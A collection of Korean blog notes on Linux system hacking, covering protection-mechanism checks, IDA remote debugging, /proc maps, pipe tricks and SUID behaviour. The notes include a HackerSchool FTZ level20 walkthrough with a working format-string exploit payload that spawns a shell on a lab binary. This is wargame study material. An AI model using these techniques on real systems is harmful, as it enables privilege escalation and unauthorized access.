1. SSP(Stack Smashing Protector)

__stack_chk_fail


2. NX

readelf -l ./vul

실행권한 확인



3. Dummy

gcc -v

2.96 이상부터 더미존재


4. Random Stack

cat /proc/sys/kernel/exex-shield-randomize

1 - O

2 - X


5.Random Library

cat /proc/self/maps


6. ASCII Armor

cat /proc/self/maps


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

출처

http://blog.jump2root.com/95




윈도우에서 ELF 바이너리를 실행할 수 없어 동적인 분석은 할 수 없고 리눅스에서는 GDB를 이용해도 되지만 cui에서는 다양한 정보를 보기 어렵고 또한 복잡하다. 하지만 IDA에서는 라이브 원격을 통해 이 문제를 어느정도 해결할 수 있다.


<그림1 원격 디버깅을 위한 서버 파일>


먼저 IDA가 설치된 폴더에가면 'dbgsrv' 폴더가 있다. 이곳에는 원격 디버깅을 위한 서버 파일이 제공되는데 파일이름을 보면 알다시피 여러 환경에 사용할 수 있도록 제공된다.



<그림2 원격 서버 파일 실행>


서버는 x64 우분투를 사용며 64bit ELF파일을 디버깅하기 위해 linux_serverx64 파일를 사용하겠다. 이 파일을 서버에 움긴 뒤 실행하면 위와 같은 화면을 볼 수 있다. 기본 포트는 23946이며 포트 설정을 하고 싶다면 -p 옵션을 이용하면 된다. (단, 붙혀서 작성(ex: -p5555))


<그림3 IDA 내 리눅스 원격 디버깅>


이렇게 서버에서 사용할 준비가 되었다면 IDA를 실행한 뒤 Debugger - Run - Remote Linux debugger 를 선택하고 설정창이 뜨면 다음과 같이 입력하면 된다.


<그림4 원격 디버깅 정보>


여기서 주의할 점은 linux_serverx64 를 실행한 디렉토리를 기준으로 해야한다는것이다. 위에서 보이듯(그림2 참고) 작성자는 imgomi 디렉토리 내에서 linux_serverx64를 실행 하였기 때문에 Application과 Directory를 작성할 때 imgomi 디렉토리를 기준으로 작성하여야 한다.

'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&page=1&sn1=on&divpage=1&sn=on&ss=off&sc=off&keyword=randomkid&select_arrange=headnum&desc=asc&no=2575



질문1. 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있습니다.

이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킵니다. 

프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있습니다.

FSB로 dtors+4번째 있는 값을 쉘코드 주소로 바꿀경우 실행이 되는 이유가 이것때문입니다.


직접 눈으로 보고 싶으실 경우 

아무 실행 파일이나 gdb로 실행한 후

disas __do_global_dtors 라고 쳐보시면 아실겁니다. ^^



'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
IDA 리모트 디버깅 설정  (0) 2015.11.11
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03




shell상태와 gdb 상태에서의 ret 주소는 다릅니다.

하지만 스택상의 배치구조는 상대적으로 같습니다.

이 원리를 이용하는 겁니다.

커널 2.4이므로 환경변수의 쉘코드가 실행이 가능합니다.

먼저 eggshell을 띄웁니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

다음 gdb상태에서 ret주소를 알아보겠습니다.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- 이전 ebp 주소
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret 주소는 0xbffff1ec이고 이전 ebp주소는 0xbffff208입니다.

이 둘의 차이값은 항상 일정합니다.

차이값을 구하면 0xbffff208 - 0xbffff1ec = 0x1c

이 차이값을 잘 기억하시기 바랍니다.

그 다음 쉘 상태에서 이전 ebp주소를 구해보겠습니다.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret 주소.
[level20@ftz tmp]$

포멧스트링 버그를 통해서 이전 ebp주소가 노출되었죠?

보시면 이전 ebp주소는 0xbffff208로 gdb와 같은 주소를 갖고 있습니다.

그럼 당연히 ret주소도 같습니다.

하지만 egg쉘을 취소한 후 다시 확인을 해보면...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- 이전 ebp주소가 다름!!!

이전 ebp주소가 0xbffffaf8로써 다름을 알수 있습니다.

이런 현상이 발생하는 이유는 egg쉘에서 수행하는 환경변수 등록때문입니다.

모든 환경변수는 스택상에 배치되는데 egg쉘의 경우 NOP코드를 비정상적으로 크게 넣습니다.

커널 2.4에서 환경변수의 크기가 비정상적으로 클 경우 스택구조가 gdb와 shell과 같아 지는 현상이 발생합니다.

가끔 egg쉘을 띄웠는데도 불구하고 ret주소가 다른 경우도 있는데 그 경우는 

환경변수의 내용을 수정했거나 argv영역의 값이 다를경우 발생합니다.

하지만 다르다고 할지라도 아까 구한 gdb에서의 이전 ebp - ret주소 차이값을 

구한 다음 shell에서 이전 ebp값을 알수 있으면 손쉽게 ret주소를 알수있습니다.

다시 egg쉘을 실행한 후 ret주소를 변경하여 쉘을 실행해 보겠습니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

쉘에서의 ret주소는 0xbffff1ec입니다.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme 

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

Clear의 권한을 획득했습니다.

--------------------------------------------------------------------------

커널 2.4는 스택의 주소가 고정적이기 때문에 스택상에 있는 주소값과 상대적인 

차이를 이용하면 얼마든지 가능합니다.

위에서 보여준 예는 main()의 리턴어드레스변조지만 포멧스트링이 일어나는 

printf의 리턴어드레스도 변조가 가능합니다.

이전 글에서 질문하신 답변을 더해드리겠습니다.

질문 : 추가로 하나만 더 질문 드릴게요..// 그렇다면, sh-3.2# 이런식으로 쉘이 뜨는건, 자식프로세스로 쉘이뜨는게 아니라, 독립된 프로세스로 쉘이 뜬다는 말씀이신건가요??

자식프로세스라는 말에 중점을 두고 읽으신것 같습니다. ^^;;

표준 입력을 요구하는 프로그램을 공격해야할 경우 파이프를 통해서 

원하는 코드를 넣어야 합니다.

다음과 같이 입력을 할 경우

printf "..." | ./vul

먼저 printf가 실행이 되고 출력되는 값을 잠시 저장하고 있습니다.

이 상태에서 vul이 실행이 됩니다.

vul에서 표준 입력을 요구할때 그때서야 printf의 출력 코드를 입력으로 넣게되고

printf는 종료가 됩니다.

이렇게 되면 다음과 같이 됩니다.

... | ./vul

즉 파이프의 연결이 해제가 됩니다.

이 상태에서 자식프로세스로 shell이 뜬다고 해도 입력을 할수 없게 됩니다.

그래서  printf "...";cat | ./vul

이렇게 실행하므로써 

cat | ./vul --> shell

cat이라는 표준 출력 프로그램을 이용해서 shell에게 명령을 내릴수있는 파이프를

연결 유지하기 위함입니다.

파이프의 연결 유지를 위해서 위와 같이 공격을 하는것입니다. ^^

저의 짧은 지식이 답변이 되었는지 모르겠습니다.

저도 pogusm님처럼 스택과 씨름할때가 기억나네요 ^^

즐거운 하루 되세요~


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

/* 출처
 http://sosal.tistory.com/
 * made by so_Sal
 */

- 프로그램 안에서, Code segment, data segment,
                          stack segment, heap segment, .bss 등을 살펴보겠습니다.

"유닉스 계열은 모든 것이 파일, 프로세스 이다. " 라는 말을 무수히 들어보셨을 것입니다.
그렇다면 중요한 정보들이 어디에 파일로 저장되어 자리하고 있는지 알게된다면
쉽게 정보들을 찾을 수 있을 것 같습니다.

proc : process의 줄임말이며, 이곳에 프로세스의 정보들이 저장됩니다.
사용자 프로세스의 정보들을 이곳에서 얻을 수 있으며 심지어 조작도 가능하다는 점에서
/proc 파일시스템은 굉장히 유용합니다.




위 그림에서 보는바와 같이 (pstree 명령어) 모든 프로세스의 부모 프로세스는 1 (init) 프로세스입니다.
하지만 이녀석이라고 특별하지는 않습니다. ls 명령어를 쳐보니 역시 다른 프로세스와 마찬가지로
프로세스 정보들을 가지고 있는 파일들이 주루룩 뜨네요.

proc 디렉토리에서 ls 결과입니다.



/proc/self : 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉토리




그럼 프로그램을 만들어, maps에 어떤 정보들이 저장되는지 확인 해 볼까요?




실행하면, maps 주소까지 보여줍니다.



<실행결과>
Address of function main is :  0x8048414 // code segment
Address of gloval value is : 0x8049708  // data segment
Address of local value is : 0xbfcd4180  // stack

<maps> 
메모리 위치         | 권한 | offset | device | inode / path
08048000-08049000 r-xp 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
08049000-0804a000 rw-p 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
b7ef3000-b7ef5000 rw-p b7ef3000 00:00 0
b7f01000-b7f02000 rw-p b7f01000 00:00 0
bfcc1000-bfcd6000 rw-p bffea000 00:00 0          [stack]

main함수의 주소가 <maps>의 첫번째 주소 사이에 위치한 사실을 알 수 있습니다.

이 사실은 GDB와 같은 디버거를 사용하여 프로그램을 디버깅 하는경우 중요합니다.
// Code segment 영역으로, r-xp 읽기, 실행 권한이 주어져있음. (실행명령어 저장장소)

두번째, gloval value의 주소가 <maps>의 두번째 주소에 위치한 사실을 알 수 있습니다..
이곳은 data segment로, rw-p 읽기 쓰기 권한이 주어져있습니다.. (데이터 저장장소)
전역변수 이외에도 스택변수, 힙변수가 있는데 이 데이터들은 다른곳에 저장됩니다..

스택변수로 local_value는 [stack] 이라는 경로에 저장되는데,
스택은 높은주소에서 낮은주소로 내려가게됩니다..
즉, 이번 주소가 0xbfcd4180 이었다면, 다음 4바이트 변수의 주소는 0xbfcd417c 일것입니다.

다음의 소스에서 bss와 Heap segment를 살펴보겠습니다.


실행결과

Heap segment는 힙 변수를 저장합니다.
new(), malloc()와 같은 API를 통해 동적으로 할당한 메모리들이 힙 변수입니다.
malloc, new 등의 API는 brk() 세스템 호출을 통해
세그먼트 끝을 연장하여 요청받은 메모리를 할당합니다.
이 세그먼트에는 bss 섹션도 들어있는데, 초기화되지 않는 전역변수들이 저장되는곳입니다.
하지만 위 프로그램 결과에서는 bss가 힙 세그먼트에 저장되어있지 않고, 데이터 세그먼트에 있는데
전역변수의 수가 작은탓에 데이터세그먼트 끝에 사용하지 않는 공간이 생겼기 때문에
OS가 낭비되는 공간을 줄이는 과정에서 생긴 결과입니다.

readelffh bss 섹션위치를 살펴봐도, bss전역변수가 .bss 위치에 있다는것을 알 수 있습니다.


brk 포인터는 현재 설정된 데이터 세그먼트 최하위 주소이며, 인수 0을주고 sbrk() 를 호출하여 얻습니다.
(brk도 bss 전역변수와 같이 데이터 세그먼트에 저장될 수 있다.)

malloc 호출 이후에, heapseg 항목이 생긴걸로 봐서,
동적으로 세그먼트 끝을 연장했다는 사실을 알 수 있습니다.
malloc(1024) -> sbrk 포인터가 0x1000 크기만큼 증가함


======================== 추가 ======================================

http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps



Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
  • address - This is the starting and ending address of the region in the process's address space
  • permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a '-' will appear instead of the 'r'/'w'/'x'. If a region is not shared, it is private, so a 'p' will appear instead of an 's'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
  • offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it's just 0.
  • device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
  • inode - If the region was mapped from a file, this is the file number.
  • pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap][stack], or [vdso][vdso] stands for virtual dynamic shared object. It's used by system calls to switch to kernel mode. Here's a good article about it.

You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.






'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

[출처] http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=732



결론은 , '|' 때문에 ;cat 을 붙여야만 되는 겁니다.


ㄱ) (  A 명령  ) | ./attackme   이런 입력을 했다면.


(perl -e 'print "\x32\xff\xff\xbf . . ..";cat)|./attackme 라는 예를 들죠.


ㄱ) 과 같은 방법을 통해서..


인자전달 방식이 아닌, 표준입력(키보드)을 통해 따로 입력을 받는 


attackme 프로그램 같은 경우라도  '|' 을 통해 변수에 내가 원하는 값을 넣어서 


오버플로우를 시킬수는 있었지만.


attackme 의 코드 중에 system("/bin/sh") 에 의해 생성되는 프로세스 또한


| 기준을 왼쪽에 있는. 다시말해서 ( A ) 자리의 프로세스의 표준 출력 내용을  


입력받으려고 하는거죠..



*원래 쉘(/bin/sh) 는 프롬프트 $ 를 띄우고 표준입력(키보드) 로부터

입력을 기다리는 것이지만...  위의 경우에는 | 때문에

키보드 대신 ( A ) 자리의 프로세스의 표준출력 내용을 

입력받으려 한다는 거죠..



헌데, ( A )자리에 있던 프로세스가 종료되면 더이상 입력받을 내용이 없기 때문에 종료 됩니다.


따라서 ,파이프 연결을 지속적으로 유지시키기 위해서


cat 을 하나 더 집어넣어서 계속적으로 ( A ) 자리에서 표준출력을 시킬수 있도록


만들어 주는거죠.. 그게 바로 ;cat 의 역할 입니다.



그림으로 나타내어 보자면..





;cat 때문에

cat실행되고 키보드로부터 입력기다리면서

입력받은내용을 표준출력으로

보내고 , 이것은 파이프를 따라 전해집니다.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
suid 동작  (0) 2015.10.30


이번에는 SUID에 대해 잘못알고 있었던 내용으로 인해 꽤 오래 삽질했다....


환경

1. /bin/sh 파일 ( rws r-x r-x root root ...)

2. vi /etc/shadow 명령어를 통해서 변경을 하려함.

3. 변경 불가



잘못알고있던 내용 

1. SUID가 걸려있으므로 실행 시 process 소유주 권한으로 파일이 실행될 것이다.

2. vi /etc/shadow 하면 현재 root권한이므로 수정가능할 것이다.




지금부터 정리하겠습니다.




SUID 동작 과정


SUID가 걸린 프로세스를 실행하면 바뀌는것은 EUID가 바뀌는것이다. RUID(즉, uid)는 변함없다. 

자, 지금부터 A(/bin/sh)  B(vi /etc/shadow)라고 가정하자. 물론 A는 SUID걸린 프로그램이다.


1. user1계정이 A를 실행하면 (EUID: root // RUID: user1) 이다.

2. 이때 새로운 프로세스 B를 실행시키면 EUID는 RUID에 맞춰 변경한다. (최근커널에는 보안상)

   (EUID: user1 // RUID: user1)

3. 결국 /etc/shadow는 root파일인데 user1권한으로 vi를 하게 되는 꼴이된다.

4. 결국 수정 불가!!!



하지만 RUID를 못바꾸는 것은 아니다. 아래 예제를보자

-----------------------------------------------------------------------

#include<stdio.h>
int main()
{ 

setreuid(0 , 0);

system("/bin/sh");

return 0;

}

-----------------------------------------------------------------------


이번에는 A라는 프로세스를 위 예제라고 가정하자. 여기서도 마찬가지로 

(rws r-x r-x) 권한을 가지고 있다.


1. user1계정이 저 프로그램을 실행하면 EUID: root // RUID: user1 일 것이다.

2. 그 후 setreuid(0,0)로 인해 현재 EUID:root이니까 RUID도 user1 -> root로 바뀐다.

3. system("/bin/sh")을 실행하면 EUID,RUID 모두 root로 /bin/sh를 실행하게된다.

4. RUID가 root인 쉘 실행 성공!!!!!

5. 프로그램이 종료되면 setreuid의 효력은 없어지고 원래대로 돌아옴



[참고]

https://kldp.org/node/69198

http://idkwim.tistory.com/78




마지막으로 정리를 하자면

일반적으로 EUID와 RUID는 같다. 그렇지만 Setuid가 걸린 프로세스를 실행하게 된다면 EUID는 실행시킨 프로세스의 소유주 권한으로 변경이 된다.

그러다가 실행시킨 프로세스 내부에 어떤 동작을 하는 코드를 만난다? --> ruid가 euid로 변경되는 함수가 없는 한 ruid권한으로 실행된다.  
setuid가 걸린 프로세스 소유주 권한으로 동작시키고 싶으면 ruid를 setuid(geteuid())이런식으로 ruid를 euid로 맞춰줘야함.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

+ Recent posts